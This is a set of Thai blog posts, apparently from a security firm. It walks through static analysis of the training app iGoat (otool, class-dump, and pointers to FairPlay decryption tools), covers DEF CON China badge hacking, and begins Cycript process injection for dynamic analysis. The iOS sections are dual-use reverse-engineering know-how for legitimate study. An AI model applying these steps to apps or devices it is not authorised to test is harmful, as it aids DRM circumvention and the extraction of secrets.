โครงสร้างของไฟล์ application bundle
ไฟล์ที่เราจะสนใจในเบื้องต้นคือ ไฟล์ executable หลักของ application\*\* (ไฟล์ MyApp), **ไฟล์ที่อยู่ในโฟลเดอร์ Framework** และ\*\*ไฟล์ Info.plist สำหรับรายละเอียดของไฟล์อื่น ๆ ว่ามีหน้าที่อะไรนั้น สามารถดูเพิ่มเติมได้จาก[ที่นี่](https://developer.apple.com/library/archive/documentation/CoreFoundation/Conceptual/CFBundles/BundleTypes/BundleTypes.html#//apple%5Fref/doc/uid/10000123i-CH101-SW13){rel=""nofollow""}
วิธีในการหาไฟล์ .app ของ application ที่ติดตั้งบนอุปกรณ์ สามารถหาได้ที่ path ต่อไปนี้บนอุปกรณ์
`/private/var/containers/Bundle/Application//.app`
[UUID](https://en.wikipedia.org/wiki/Universally%5Funique%5Fidentifier){rel=""nofollow""} (Universally Unique Identifier) จะเป็นค่าสุ่มที่แสดงโดยใช้ hexadecimal และมี pattern เป็นดังนี้
`HHHHHHHH-HHHH-HHHH-HHHH-HHHHHHHHHHHH`
ที่แต่ละเครื่องจะมีค่าไม่เหมือนกันแม้จะเป็น application เดียวกันก็ตาม

โฟลเดอร์ที่มีชื่อเป็น UUID ที่อยู่ภายใน path `/private/var/container/Bundle/Application/`
การหาไฟล์ .app สามารถใช้คำสั่ง `find` ตามด้วยชื่อ application เพื่อหาได้ ในตัวอย่างจะเป็นการหาไฟล์ .app ของ iGoat และใช้คำสั่ง `scp` ในการดาวน์โหลดไฟล์เพื่อมาวิเคราะห์ต่อไป

ใช้คำสั่ง find หาไฟล์ application bundle ของ iGoat

ใช้คำสั่ง scp ในการ download ไฟล์ application bundle จากอุปกรณ์

ไฟล์ application bundle ที่ได้
---
### 2. Static analysis
อ่านไฟล์ Info.plist
วิธีการในการเปิดไฟล์ .app ใน macOSX ทำได้โดยการ click ขวาที่ไฟล์และเลือก `Show Package Contents` เมื่อเปิดไฟล์ได้แล้วขั้นแรกสุดในการวิเคราะห์คือการอ่านข้อมูลจากไฟล์ [Info.plist](https://developer.apple.com/documentation/bundleresources/information%5Fproperty%5Flist?language=objc){rel=""nofollow""} โดยไฟล์ Info.plist จะเป็นไฟล์ binary ที่มีการเก็บค่า configuration ต่าง ๆ ของ application ไว้ในรูปแบบ key-value pairs
ไฟล์ Info.plist จะมีการเก็บข้อมูล เช่น minimum OS version ที่สามารถใช้งาน application ได้, [bundle name](https://developer.apple.com/documentation/bundleresources/information%5Fproperty%5Flist/cfbundlename?language=objc){rel=""nofollow""}, [bundle identifier](https://developer.apple.com/documentation/bundleresources/information%5Fproperty%5Flist/cfbundleidentifier?language=objc){rel=""nofollow""} (ใช้สำหรับระบุ application), [executable file](https://developer.apple.com/documentation/bundleresources/information%5Fproperty%5Flist/cfbundleexecutable?language=objc){rel=""nofollow""} หากเทียบกับ application ฝั่ง Android แล้ว ไฟล์ Info.plist ก็เปรียบเสมือนไฟล์ AndroidManifest.xml นั้นเอง
วิธีในการเปิดอ่านไฟล์ .plist สามารถเปิดอ่านโดยใช้ Xcode\*\* หรือจะใช้ [\*\*plutil](https://www.theiphonewiki.com/wiki/Plutil){rel=""nofollow""} ในการ convert ให้เป็น XML ที่สามารถอ่านได้ก็ได้ ตัวอย่างด้านล่างจะเป็นการอ่านไฟล์ Info.plist ของ iGoat โดยใช้ Xcode เพื่อหาไฟล์ executable หลักของ application และนำมาวิเคราะห์ต่อ

ไฟล์ Info.plist ของ iGoat
ในการทำ pentest หรือ reverse engineer บน iOS application นั้น นอกจากไฟล์ Info.plist แล้ว ไฟล์อื่น ๆ ก็มีความสำคัญไม่แพ้กัน บางครั้ง application อาจจะเก็บข้อมูลที่เราสนใจ, credential หรือ key ไว้ในไฟล์อื่น ๆ อีก เพราะฉะนั้นการอ่านและดูรายละเอียดของไฟล์ทั้งหมดที่อยู่ในไฟล์ .app จะทำให้เราเข้าใจการทำงานของ application ได้ดียิ่งขึ้น
วิเคราะห์ไฟล์ executable
ไฟล์ executable หลัก ที่อยู่ใน application bundle เป็นไฟล์ binary ประเภท [Mach-O\*\* ](https://github.com/aidansteele/osx-abi-macho-file-format-reference){rel=""nofollow""}(ย่อมาจาก Mach Object) และไฟล์ประเภท Mach-O มีคุณสมบัติอย่างหนึ่งคือ สามารถเก็บ binary ที่ support หลาย ๆ architecture ไว้ได้ในไฟล์เดียว ไฟล์ที่มีลักษณะแบบนี้จะเรียกว่า [**Fat binary**](https://en.wikipedia.org/wiki/Fat%5Fbinary){rel=""nofollow""} ทำให้ไฟล์ IPA 1 ไฟล์ สามารถที่จะใช้งานได้ทั้งอุปกรณ์ iOS ที่มี architecture แบบ [**Armv7(s)**](https://en.wikipedia.org/wiki/ARM%5Farchitecture#32-bit%5Farchitecture){rel=""nofollow""} \*\*(iPhone 4 – iPhone 5)\*\*หรือ แบบ [**Armv8**](https://en.wikipedia.org/wiki/ARM%5Farchitecture#64/32-bit%5Farchitecture){rel=""nofollow""}\*\*/Arm64 (iPhone 5S – iPhone X) ได้ ด้านล่างเป็น support matrix ของ iOS กับ iPad, iPod, iPhone ที่มีอยู่ในปัจจุบัน ที่รวบรวมไว้ได้น่าสนใจดีเลยเอามาแชร์กันครับ

iOS support matrix จาก [iOSSupportMatrix.com](http://iossupportmatrix.com/){rel=""nofollow""}
ไฟล์ที่ได้มา support architecture อะไรบ้าง?
เราสามารถใช้เครื่องมือที่ชื่อว่า [otool](https://www.unix.com/man-page/osx/1/otool/){rel=""nofollow""} (object file-displaying tool) ซึ่งเป็นเครื่องมือ open source ของ Apple ที่สามารถใช้วิเคราะห์ไฟล์ประเภท Mach-O ได้ ในการตรวจสอบว่าไฟล์ support architecture อะไรบ้างได้ โดยใช้คำสั่งตามรูป

ใช้ otool หาว่า iGoat support architecture อะไรบ้าง
> -v = แสดง output แบบแปลความหมายจาก hex แล้ว
>
> -h = แสดง Mach header
จากรูปพบว่า iGoat support ทั้ง architecture แบบ Armv7 และ Arm64
ก่อนที่จะทำการวิเคราะห์ต่อ เราจะต้องรู้ข้อเท็จจริงอย่างหนึ่งก่อนว่า ทั่วไปแล้วไฟล์ executable หลัก จะถูก encrypt ไว้ โดยใช้ DRM (Digital rights management) ของ Apple ที่ชื่อว่า\*\* [**FairPlay**](https://en.wikipedia.org/wiki/FairPlay){rel=""nofollow""} \*\*และจะถูก decrypt เมื่อ application กำลังจะเริ่มทำงานเท่านั้น เพราะฉะนั้นหากจะทำ static analysis ให้ได้ข้อมูลมากที่สุด เราจะต้อง decrypt ไฟล์ executable ให้ได้ซะก่อน
ไฟล์ที่ได้มาถูก encrypt ไว้หรือไม่จะรู้ได้อย่างไร?
การตรวจสอบว่าไฟล์ executable ถูก encrypt ไว้หรือไม่ ทำได้โดยใช้ otool ในการตรวจสอบได้อีกเช่นเดียวกัน โดยใช้คำสั่งตามรูปด้านล่าง

ใช้ otool ตรวจสอบว่าไฟล์ถูก encrypt ไว้หรือไม่
> -l = แสดงข้อมูล section Load commands ของ Mach-O ออกมา
`cryptid**` **= 0 หมายถึง ไฟล์นี้ไม่ได้ถูก encrypt ไว้**, `**cryptid**` \*\*= 1 หมายถึงไฟล์นี้ถูก encrypt ไว้ โดยค่า cryptid ใน output บรรทัดแรก คือ ค่าของ binary ที่ support Armv7 และบรรทัดที่สอง คือ ค่าของ binary ที่ support Arm64 ตามลำดับ
วิธีในการที่จะ decrypt ไฟล์ก็มีหลายวิธีด้วยกัน เช่น การใช้ [Clutch](https://github.com/KJCracks/Clutch){rel=""nofollow""}, [dumpdecrypted](https://github.com/stefanesser/dumpdecrypted){rel=""nofollow""}, [dump-ios](https://codeshare.frida.re/@lichao890427/dump-ios/){rel=""nofollow""} หรือ ใช้ [lldb](https://kov4l3nko.github.io/blog/2016-03-01-decrypting-apps-from-appstore/){rel=""nofollow""} ในบทความนี้จะข้ามในส่วนของวิธีการ decrypt ไป เพราะสามารถหาอ่าน tutorial ได้เยอะแยะมากมาย ตามที่ได้ให้ reference ไปแล้ว
Dump class, method, variable และ property ที่มีอยู่ในไฟล์ executable
ไฟล์ executable binary ของ Objective-C มี `__OBJC` segment ที่มีข้อมูลที่มีความสำคัญในการทำ static และ dynamic analysisโดย `__OBJC` segment จะประกอบไปด้วยรายละเอียดของ class, method, variable และ property ที่ถูกใช้ใน application การรู้ถึงข้อมูลดังกล่าวจะทำให้เราเข้าใจการทำงานของ application มากยิ่งขึ้น
วิธีการในการ dump รายละเอียด class, method, variable และ property ออกมาจากไฟล์ executable สามารถทำได้โดยการใช้เครื่องมือที่ชื่อว่า `[class-dump](https://github.com/nygard/class-dump/)` ตามคำสั่งต่อไปนี้
`class-dump -o -H -o = output folder -H = generate header file จาก class ที่พบ`
เข้าไปที่ output folder จะเจอกับไฟล์ header ของ class ต่าง ๆ ใน application

ไฟล์ header ของ class ใน application iGoat
ไฟล์ header ที่ได้ ก็คือไฟล์ [header](https://en.wikipedia.org/wiki/Objective-C#Interface){rel=""nofollow""} เดียวกันกับที่ใช้ประกาศ class, method, variable และ property เมื่อพัฒนา application ด้วย Objective-C นั้นเอง
ความหมายของแต่ละส่วนในไฟล์ header สามารถอ้างอิงได้ตามรูปต่อไปนี้

การประกาศ class, method และ variableในไฟล์ header (ที่มา: [https://developer.apple.com/](https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/ProgrammingWithObjectiveC/DefiningClasses/DefiningClasses.html){rel=""nofollow""})

การประกาศ method ในไฟล์ header (ที่มา: [https://developer.apple.com/](https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/ProgrammingWithObjectiveC/DefiningClasses/DefiningClasses.html){rel=""nofollow""})
เครื่องหมาย `-` และ `+` หน้า method หมายถึง [instance method](https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/ProgrammingWithObjectiveC/DefiningClasses/DefiningClasses.html#//apple%5Fref/doc/uid/TP40011210-CH3-SW8){rel=""nofollow""} และ [class method ](https://developer.apple.com/library/archive/documentation/General/Conceptual/DevPedia-CocoaCore/ClassMethod.html){rel=""nofollow""}ตามลำดับ และวิธีในการ hook หรือเรียกใช้ method ทั้งสองประเภทก็จะมีวิธีการที่แตกต่างกันเล็กน้อย ซึ่งจะมีการพูดถึงเมื่อถึงขั้นตอนการทำ dynamic analysis ครับ
`(id)` หมายถึง ประเภท object ที่ไม่ได้ถูกกำหนดไว้ตายตัวตั้งแต่ต้น โดยจะรู้ได้ว่าเป็น object ประเภทไหน เมื่อตอน application กำลังทำงานอยู่
กลับมาที่เป้าหมายของเราก็คือการหา class ที่เกี่ยวข้องกับ exercise `Personal Photo Storage` เพื่อดูว่าภายใน class มีรายละเอียดอะไรบ้าง ผลลัพธ์ที่ได้จาก class-dump จะพบว่ามีไฟล์ `PersonalPhotoStorageVC.h` อยู่ ทำให้พอจะเดาได้ว่า class นี้จะต้องเป็น class ที่ควบคุม exercise `Personal Photo Storage` แน่นอน

ไฟล์ PersonalPhotoStorageVC.h ผลลัพธ์จาก class-dump

ข้อมูลภายในไฟล์ PersonalPhotoStorageVC.h
จากข้อมูลภายในไฟล์ `PersonalPhotoStorageVC.h` ทำให้เราพอที่จะเดาได้ว่า `NSString *_pw` จะต้องเป็น [instance variable](https://en.wikipedia.org/wiki/Instance%5Fvariable){rel=""nofollow""} ที่เก็บค่า password ที่เราตามหาแน่นอน และ method `— (id)thePw` น่าจะเป็น instance method ที่ return password ออกมาแน่ ๆ
แต่… หากไม่เจอ keyword ที่เกี่ยวข้องกับ exercise เป้าหมายของเราในไฟล์ executable หลัก เลย จะทำอย่างไร?
โฟลเดอร์ Frameworks สำคัญอย่างไร?
ในบางกรณี class ที่เราต้องการหา อาจไม่ได้อยู่ในไฟล์ executable หลักเสมอไป โดยมีความเป็นไปได้สูงที่อาจจะอยู่ในไฟล์ที่อยู่ในโฟลเดอร์\*\* [**Frameworks**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPFrameworks/Concepts/WhatAreFrameworks.html#//apple%5Fref/doc/uid/20002303-BBCEIJFI){rel=""nofollow""} ซึ่งเป็นที่ ๆ เก็บ **dylib** และไฟล์ [\*\*framework bundle](https://developer.apple.com/library/archive/documentation/CoreFoundation/Conceptual/CFBundles/BundleTypes/BundleTypes.html#//apple%5Fref/doc/uid/10000123i-CH101-SW26){rel=""nofollow""} (.framework) ที่สำคัญ ที่ application ต้องใช้ในขณะทำงาน
ไฟล์ framework bundle มีโครงสร้างที่คล้ายกับไฟล์ application bundle แต่จะมี extension เป็น .framework และมีไฟล์ binary ข้างในเป็นแบบ dylib ไม่ใช่ binary แบบ executable (ความแตกต่างอย่างง่าย ๆ ระหว่าง dylib กับ executable คือ dydlib จะไม่สามารถทำงานด้วยตัวเองได้ หากไม่มีไฟล์ executable อื่น เรียกมันขึ้นมาใช้งาน)

ตรวจสอบไฟล์ binary Realm ใน Realm.framework ของ iGoat
วิธีการหา keyword ที่สนใจ (หรือที่เกี่ยวข้องกับ class ที่สนใจ) ว่ามีอยู่ในไฟล์ไหนบ้างสามารถทำได้โดยใช้คำสั่ง `grep` ตามด้านล่าง
`grep -r -i "keyword" /path/to/application_bundle.app -r = ค้นหาแบบ recursive ทั้งใน subdirectory ด้วย -i = ค้นหาแบบ case insensitive`
เมื่อเจอ keyword ที่เราสนใจในไฟล์ dylib เราก็สามารถใช้ `class-dump` ในการ dump ข้อมูลของ class, method และ variable ออกมาได้เช่นเดียวกัน

ใช้ class-dump กับไฟล์ dylib
จะเห็นว่าข้อมูลที่ได้มาจาก `class-dump` มีประโยชน์อย่างมากในการเข้าใจการทำงานภายในของ application แต่เท่านั้นยังไม่เพียงพอ เมื่อเจอ class, method หรือ variable ที่น่าจะเกี่ยวข้องกับเป้าหมายที่ตั้งไว้ เราจะต้องพิสูจน์สมมติฐานที่คิดไว้ว่าเป็นจริงหรือไม่ โดยวิธีการพิสูจน์ที่ง่ายที่สุดคือการทำ dynamic analysis ที่จะมีการพูดถึงใน Part ต่อไปครับ
ในบางครั้งข้อมูลจากการทำ static analysis แค่นี้อาจจะไม่เพียงพอ เราจะต้องพึ่งเครื่องมือ เช่น [Hopper](https://www.hopperapp.com/){rel=""nofollow""}, [IDA](https://www.hex-rays.com/products/ida/){rel=""nofollow""}, [Radare2](https://www.radare.org/r/){rel=""nofollow""} หรือ [Ghidra](https://www.ghidra-sre.org/){rel=""nofollow""} เพื่อทำ reverse engineer ให้เข้าใจการทำงานของ application ในระดับ assembly ซึ่งเป็นระดับที่ลึกลงไปอีกขั้น มากกว่าแค่การอาศัยข้อมูลจาก `class-dump` แต่สำหรับในบทความนี้ จะพูดถึงวิธีการพื้นฐานเท่านั้น สำหรับวิธีที่ลึกกว่านี้ จะมีพูดถึงในบทความต่อ ๆ ไปครับ
---
## ทิ้งท้าย…
ใน Part 2 ก็จะจบลงเพียงเท่านี้ และสำหรับใน Part 3 เราจะมาพูดถึงในขั้นตอนที่ 3 ทำ dynamic analysis ตัว application เป้าหมาย เพื่อหา component ที่ต้องการแก้ไข และ ขั้นตอนที่ 4 ทดสอบแก้ไข component ที่เจอ กันต่อครับ
[/blogs/the-basic-of-developing-ios-tweak-part-3-4](https://incognitolab.com/blogs/the-basic-of-developing-ios-tweak-part-3-4)
# DEF CON China 1.0 Badge Hacking
เมื่อวันที่ 31 พฤษภาคม 2562 ทางทีมงานได้มีโอกาสไปร่วมงาน DEF CON China 1.0 งาน DEF CON China 1.0 เป็นงานที่ถูกจัดขึ้นที่ประเทศจีนเป็นครั้งที่สอง โดยครั้งแรกเป็นการทดลองจัดงานนอกอเมริกาครั้งแรกของงาน DEFCON เลยใช้ชื่องานว่า DEF CON China beta ซึ่งโดยปกติแล้วงาน DEF CON จะถูกจัดขึ้นที่ Las Vegas ในสหรัฐอเมริกางาน DEF CON จะเป็นงานที่รวมเหล่า Security Expert และผู้ที่สนใจในเรื่องของ IT Security จากทั่วทุกมุมโลกเพื่อมาแลกเปลี่ยนความรู้กันและยังมีการโชว์ technique การโจมตีใหม่ ๆ กันในงาน ทำให้เป็นที่สนในของเหล่า Security Expert และผู้ที่สนใจในเรื่อง IT Security แต่อีกหนึ่งสิ่งที่หน้าสนใจในงาน DEF CON ก็คือเจ้า Badge ซึ่งจะไม่ใช่ Badge กระดาษแบบงานอื่น ๆ แต่จะถูกทำขึ้นมาจากวงจร Electronic จึงทำให้สามารถออกแบบให้มีลูกเล่นหรือแม้กระทั่งเขียนคำสั่งเพื่อสั่งงาน Electronic Badge ได้และในแต่ละปีก็จะมีลูกเล่นและความสวยงามที่แตกต่างกันไป
Badge ของงาน DEFCON มีหลายสีซึ่งแต่ละสีจะบอกความเป็นตัวตนของเรานั่นเองซึ่งในงาน DEF CON China 1.0 จะมีทั้งหมด 6 สีเริ่มจาก
- Humans สีดำ – สำหรับคนมาฟังทั่วไป
- Goon สีแดง – สำหรับ Staff ในงาน
- Speaker สีน้ำเงิน – สำหรับ Speaker ในงาน
- Village สีน้ำเงิน – สำหรับเจ้าหน้าที่ประจำ Village
- Sponsor สีเทา- สำหรับ Sponsor (KingPinบอกสีเทาแต่ในรูปดูยังไงก็ไม่เทาฮา ๆ)
- Press สีเขียว – สำหรับนักข่าวต่าง ๆ
{width="100%"}
ก่อนจะไปดูความพิเศษของ Electronic Badge ในงาน DEFCON China 1.0 เรามาดูต้นกำเนิดของ Electronic Badge กันก่อนครับ Electronic Badge เกินขึ้นครั้งแรกใน DEFCON 14 ปี 2006 ผู้ที่คิดค้นและเริ่มทำเป็นคนแรกคือ Joe Grand ฉายาที่รู้จักกันในวงการคือ Kingpin ซึ่งมีความเก่งกาจในด้าน hardware hacking และทาง Kingpin ก็ได้ออกแบบต่อมาในงาน DEF CON ครั้งที่ 15, 16, 17, 18 และ 19 รวมทั้งหมด 5 ครั้งและนี้ก็เป็นอีกครั้งที่ Kingpin ได้กลับมาออกแบบ Electronic Badge ให้กับงาน DEF CON อีกครั้ง
{width="100%"}
เรากลับมาที่ Electronic Badge ของ DEF CON China 1.0 ทาง KingPinได้โชว์ภาพแนวคิดเริ่มต้นของ Electronic Badge ของงานครั้งนี้โดยเริ่มต้นมาจากแนวคิดการออกแบบให้เป็นรูปดอกไม้และสุดท้ายมาจบที่เป็นรูปต้นไม้
{width="100%"}{width="100%"}
KingPin ก็ได้ลองผิดลองถูกอยู่หลายครั้งจนในที่สุดก็ได้ตัว Prototypes ที่มีหน้าตาและฟังก์ชันการทำงานเหมือนกับที่ออกแบบเอาไว้และการออกแบบในครั้งนี้ยังได้คำนึงถึงความประหยัดพลังงานโดยมีการใส่ตัวจับการเคลื่อนไหวของ Electronic Badge ถ้าเมื่อไรที่มีการเคลื่อนไหวของ Electronic Badge ไฟถึงจะติดขึ้นมาถ้าเราปล่อยเอาไว้เฉย ๆ ไฟก็จะไม่ติดทำให้ช่วยประหยัดพลังมาได้เยอะเลย
{width="100%"}
รูปนี้ก็จะเป็นรายละเอียดแผงวงจรของระบบ LED ที่ทาง KingPin ได้ออกแบบไว้ โดยจะต้องเก็บไฟที่รากของต้นไม้ก่อนแล้วถึงจะเก็บไฟที่ใบได้ โดยจะมีการแบ่งส่วนเอาไว้ทั้งหมด 4 ส่วนดังรูป
{width="100%"}{width="100%"}
ทาง KingPin ได้บอกว่าชิ้นส่วนทุกชิ้นถ้าเสียสามารถหามาเปลี่ยนแทนได้นะโดยเค้าได้ให้รายละเอียดของชิ้นส่วนแต่ละชิ้นเอาไว้อย่างละเอียด เราสามารถไปซื้อชิ้นส่วนมาซ่อมเองได้เลย
{width="100%"}
อีกหนึ่งความพิเศษของ Electronic Badgeในงานนี้ก็คือมันเป็น Flexible Badge หรือ Badge แบบอ่อนครั้งแรกของงาน DEF CON ปกติจะเป็น Electronic Badge แข็ง ๆ เพราะทำมากจากแผ่น PCB แต่ครั้งนี้ทำขึ้นด้วยเทคนิค FLEXIBLE PRINTED CIRCUIT (FPC)
{width="100%"}{width="100%"}
และนี่คือด้านหลังของ Electronic Badge ซึ่งเป็นส่วนที่ใช้ควบคุมระบบต่าง ๆ ของ Electronic Badge โดยมี ส่วนหลัก ๆ 6 ส่วนรายละเอียดดังรูป
{width="100%"}{width="100%"}
รูปนี้จะเป็นรายละเอียดของ FPC Connector ที่เอาไว้เป็นตัวเชื่อมต่อกับเครื่องให้คะแนนเมื่อเข้าร่วมกิจกรรมตาม Villages ต่าง ๆ ทาง KingPin เรียกว่าตัวให้คะแนนนี้ว่า "shield" และเจ้า shield จะสามารถทำให้ไฟของต้นไม้บน Badge ของเราติดได้
{width="100%"}{width="100%"}{width="100%"}
โดยที่ตัว Shield จะมี dip switch ที่จะเป็นตัวกำหนดว่าจะให้ไฟดวงไหนบน Badge ติดโดยจะมีการตั้งค่าต่าง ๆ ดังนี้
- 00: Off
- 01: set selected led
- 10: clear selected led
- 11: read badge state
{width="100%"}
สำหรับคนที่เข้า Workshop Badge Hacking จะได้ตัว "FPC Breakout" มาด้วยโดยเจ้าตัว FPC Breakout คือตัวที่จะเอาไว้เชื่อมต่อ FPC signals ต่างในตัว Badgeได้
{width="100%"}{width="100%"}
และเราจะเห็นว่า Electronic Badge ที่ได้มานั้นจะมีช่อง USB อยู่และถ้าเราเอามาเสียบคอมมันจะเป็นยังไงนะเราลองมาเสียบดูกันเลยดีกว่า
{width="100%"}
เมื่อเสียบแล้วพบว่ามันมีหน้า Console ของ Arduino ขึ้นมาและในหน้า Console เราสามารถสั่งงานเจ้า Electronic Badge อย่างเช่น เปิด-ปิด ไฟบนต้นไม้, ตั้งเวลาให้ไฟดับและเวลาที่จะให้ไฟติด,ตั้งระดับแรงสั่นที่จะให้ Electronic Badge ทำงานว่าจะให้ขยับแรงแล้วถึงติดหรือขยับเบา ๆ ก็ติดได้ ไหนเรามาสั่งงานให้ไฟติดกันดีกว่า
{width="100%"}
เห้ยยย!! ไฟติดหมดแล้วว แต่ที่ใบจะเราจะเห็นได้ว่ามีการเล่นไฟแบบสุ่มทำให้ดูมีการเคลื่อนไหว การที่จะทำให้เจ้า Electronic Badge ของเราไฟติดหมดนี้มันทำมันง่ายมากเลยใช่ไหมครับแค่กดสั่งในหน้า Console ไฟก็ขึ้นหมดแล้ว
{width="100%"}
แต่การทำให้ไฟมันติดหมดเฉย ๆ มันง่ายเกินไปเพียงใช้คำสั่งตามที่เค้าเขียนมาอยู่แล้ว และถ้าเราอยากเพิ่มคำสั่งให้มันมีลูกเล่นมากกว่าแค่ไฟติดทุกดวงจะทำยังไงละ เราก็จะต้องทำการเขียนคำสั่งใหม่ลงไปในตัว Electronic Badgeโดยเราจะเขียนคำสั่งผ่านทาง Arduino IDE โดยผมจะลองเล่นแบบให้ไฟค่อย ๆ ติดที่ละดวงจนเต็มแล้ว loop แบบนี้ไปเรื่อย ๆ เรียบร้อยแล้วววผลเป็นยังไงไปดูกันน !!
ไฟค่อย ๆ ติดที่ละดวงแล้วไหนเรามาลองทำแบบอื่นดูบ้าง
ณ ตอนนี้เราก็สามารถทำให้ไฟติดทั้งหมดแล้วหรือเราจะสั่งอะไรกับเจ้า Electronic Badge ก็ได้แล้ว แต่ลูกเล่นของมันยังไม่หมดแค่นี้ทาง KingPin ได้สร้าง TREE OF PROMISE ซึ่งเป็นต้นไม้ใหญ่ที่จะเอาไว้รวมจิตวิญญาณของเหล่า Hacker ที่ถูกเก็บไว้ใน Electronic Badgeโดยเราจะต้องนำไฟที่ติด Electronic Badge ไปรวมกันไว้ที่ TREE OF PROMISE และนี่คือเบื้องหลังของ TREE OF PROMISE ซึ่งก็ถูกทำขึ้นจาก Arduino เช่นกัน
{width="100%"}
เราลองเอา Electronic Badgeของเราที่มีไฟติดเต็มทุกดวงแล้วไปเสียบที่ TREE OF PROMISE เพื่อเอาจิตวิญญาณ Hacker ของเราไปรวมไว้ที่ TREE OF PROMISE กัน โดยผลลัพธ์คือจะมีใบไม้งอกเพิ่มมาที่ TREE OF PROMISE
{width="100%"}
สุดท้ายนี้เมื่อเราได้รับความสนุกและความรู้จาก KingPin เราก็ต้องขอถ่ายรูปคู่กับ KingPin เจ้าพ่อแห่ง Electronic Badgeเป็นที่ระลึกสักหน่อย
{width="100%"}
# The basic of developing iOS Tweak (Part 3/4)

ขั้นตอนการพัฒนา Tweak ใน Part 2
[/blogs/the-basic-of-developing-ios-tweak-part-2-4](https://incognitolab.com/blogs/the-basic-of-developing-ios-tweak-part-2-4)
เราได้วิเคราะห์ application จนถึงขั้นตอนที่ 2 static analysis แบบเบื้องต้นกันไปแล้ว โดยพบ class, method และ variable ที่น่าจะเกี่ยวข้องกับ exercise `Personal Photo Storage` ก็คือ class `PersonalPhotoStorageVC` , method `— (id)thePw` และ instance variable `NSString *_pw` ที่อยู่ในไฟล์ `PersonalPhotoStorageVC.h`

ข้อมูลภายในไฟล์ PersonalPhotoStorageVC.h
สำหรับขั้นตอนต่อไป คือขั้นตอนที่ 3 dynamic analysis จะเป็นการวิเคราะห์ application ขณะที่กำลังทำงานอยู่ โดยจะเน้นไปที่การดูการทำงานภายในของ application iGoat และพิสูจน์ว่า class `PersonalPhotoStorageVC` , method `— (id)thePw` และ instance variable `NSString *_pw` เป็นไปอย่างที่ตั้งสมมติฐานไว้ใน Part ที่แล้วหรือไม่
มาเริ่มกันเลยครับ
---
## ขั้นตอนที่ 3 dynamic analysis
### เข้าใจ Concept เพิ่มเติม
iOS application ถูกพัฒนาโดยใช้ design pattern แบบ [MVC (Model-View-Controller)](https://developer.apple.com/library/archive/documentation/General/Conceptual/DevPedia-CocoaCore/MVC.html#//apple%5Fref/doc/uid/TP40008195-CH32){rel=""nofollow""} และแต่ละส่วนมีความสัมพันธ์กันตามรูป

MVC design pattern (ที่มา: [https://developer.apple.com/](https://developer.apple.com/library/archive/documentation/General/Conceptual/DevPedia-CocoaCore/MVC.html#//apple%5Fref/doc/uid/TP40008195-CH32){rel=""nofollow""})
> View คือ ส่วนที่รับผิดชอบในการแสดงผลของ application เมื่อมี user action เข้ามาก็จะส่งไปให้ controller ประมวลผล
>
> Model คือ ส่วนที่ทำหน้าที่ในการเก็บข้อมูลของ application
>
> Controller คือ ส่วนที่ทำหน้าที่ในการประมวลผลหลักหรือเปรียบเสมือนส่วนที่เป็นสมองของ application อีกทั้งยังเป็นสื่อกลางระหว่าง view และ model
หากเราอยากจะรู้วิธีการทำงานของ application แน่นอนว่าจะต้องหา controller ซึ่งเป็นส่วนหลักในการประมวลผลให้เจอ เมื่อหา controller เจอแล้วเรายังจะสามารถหา model หรือ view ที่เกี่ยวข้องกับ controller ดังกล่าวต่อไปได้อีก
ในกรณีที่ยังไม่รู้ หรือไม่แน่ใจว่า controller ไหนกันแน่ที่ควบคุมส่วนที่เราสนใจอยู่ วิธีการในการหา controller ที่ง่ายที่สุดคือการหาจาก view object หรือส่วนของ user interface ที่เราเห็นบน application นั่นเอง
จากข้อมูลที่พบตั้งแต่ Part 2 เราสามารถเดาได้ว่า view controller `PersonalPhotoStorageVC` น่าจะเป็นส่วนที่ควบคุม view object ของ exercise `Personal Photo Storage` และใน Part 3 นี้จะเป็นการแสดงวิธีหา view controller จาก view object กันครับ เพื่อพิสูจน์ว่าสิ่งที่เราตั้งสมมติฐานไว้ ถูกต้องหรือไม่ แต่ก่อนที่จะเริ่มหาได้ เราต้องมาทำความรู้จักกับเครื่องมือที่จะใช้กันก่อน
### ทำความรู้จักและติดตั้งเครื่องมือ
ในขั้นตอนนี้เราจะใช้เครื่องมือประเภท Dynamic Instrumental Toolkit มาวิเคราะห์การทำงานของ application กัน โดยเครื่องมือที่จะใช้คือ [Cycript](http://www.cycript.org/){rel=""nofollow""} ซึ่งเป็นเครื่องมือที่พัฒนาโดย [Jay Freeman (saurik)](https://medium.com/u/d3f58afcfb6c){rel=""nofollow""} (คน ๆ เดียวกันกับที่พัฒนา Cydia) หรืออีกทางเลือกหนึ่งก็คือการใช้ [Frida](https://www.frida.re/){rel=""nofollow""} ก็สามารถทำได้เช่นเดียวกัน
ทั้ง Cycript และ Frida จะมีวิธีการทำงานคร่าว ๆ คือ เครื่องมือพวกนี้จะ inject dylib ของตัวเองเข้าไปยัง process ของ application เป้าหมาย ทำให้เราสามารถ interact กับ Objective-C runtime ของ process เป้าหมายได้ อีกทั้งยังสามารถที่จะอ่าน เขียน หรือแก้ไข memory ส่วนใดส่วนหนึ่งของ process ได้เช่นเดียวกัน (ถ้า memory ในส่วนนั้นอนุญาตให้ application สามารถทำได้)
ใน iOS version < 11 การติดตั้ง Cycript สามารถค้นหาและติดตั้งผ่าน Cydia ได้ทันที สำหรับ iOS 11 จะต้องติดตั้ง Cycript จาก repository ต่อไปนี้ จึงจะสามารถใช้งานได้ปกติ (Cycript ใน repository นี้จะเป็น version 0.9.520 ที่ถูกแก้ไขให้ทำงานบน iOS 11 ได้)
{rel=""nofollow""}
หรือหากไม่อยากจะใช้ repository ข้างต้น ก็สามารถใช้วิธีการอื่นได้โดยดูรายละเอียด[ที่นี่](https://github.com/tateu/cyrun){rel=""nofollow""}
### ใช้ Cycript ทำ dynamic analysis
อันดับแรกจะต้องเปิด iGoat ขึ้นมา จากนั้น SSH ไปยังอุปกรณ์ และใช้คำสั่ง `ps`เพื่อดูว่า iGoat มี process id และ executable name เป็นอะไร

ใช้คำสั่ง ps เพื่อหา process id และ executable name ของ iGoat
> -a = แสดง process ของทุก user
>
> -x = แสดง process ที่ไม่ได้ attach กับ terminal ด้วย
จากผลลัพธ์จะเห็นว่า iGoat มี process id = 3042 และ executable name = iGoat และการ inject Cycript ไปยัง process สามารถใช้ option `-p` และตามด้วย process id หรือ executable name ก็ได้

Inject Cycript ไปยัง process iGoat ได้สำเร็จ
